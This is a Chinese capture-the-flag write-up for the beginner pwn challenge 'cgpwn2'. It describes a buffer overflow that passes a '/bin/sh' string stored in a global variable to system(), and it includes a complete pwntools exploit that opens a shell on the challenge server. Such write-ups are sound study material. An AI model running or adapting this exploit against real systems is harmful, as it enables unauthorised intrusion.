欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界_pwn_cgpwn2(萌新版)

程序员文章站 2022-05-15 21:47:44
...

首发于鄙人博客:传送门

0x00 前言

省略file checksec,此两步大家都能够实现。

0x10 步骤

0x10 hello函数

为32位文件,用32位ida打开后,可以发现如下hello函数

攻防世界_pwn_cgpwn2(萌新版)

在hello函数中我们可以发现,他让我们输入两块内容,一个是name,一个是some message。

0x11 _system函数

而在左侧的函数栏中,我们可以发现如下的system函数,该函数可以得到来自其他函数的参数。 而在这里需要得到/bin/sh,所以我们就需要想办法给他传入这个参数。

攻防世界_pwn_cgpwn2(萌新版)

0x12 name--全局变量

我们需要传入的第一个参数是name,而查询name可以知道,他是一个全局变量。所以我们便可以在开始的时候给name传入参数“/bin/sh”,这样之后我们再把system所需要的参数地址设置位name的地址,那么便可以getshell了。

0x20 exp

通过以上的分析,我们不难得到exp的内容便为下

from pwn import *
elf = ELF("./cgpwn2")
sh = remote("111.198.29.45",30351)
name_addr = 0x0804A080
sys_addr = elf.symbols['system']
#也可以直接找sys的地址
sh.recvuntil("name")
sh.sendline("/bin/sh")
payload = 'a'*42+p32(sys_addr)+"aaaa"+p32(name_addr)
sh.recvuntil("here")
sh.sendline(payload)
sh.interactive()

0x21 exp收获

elf = ELF("./cgpwn2")可以在运行exp的时候对文件进行checksec检查。亲测鸡肋。

可以使用elf.symbols['system']查找system的地址,挺方便的。

相关标签: 攻防世界 CTF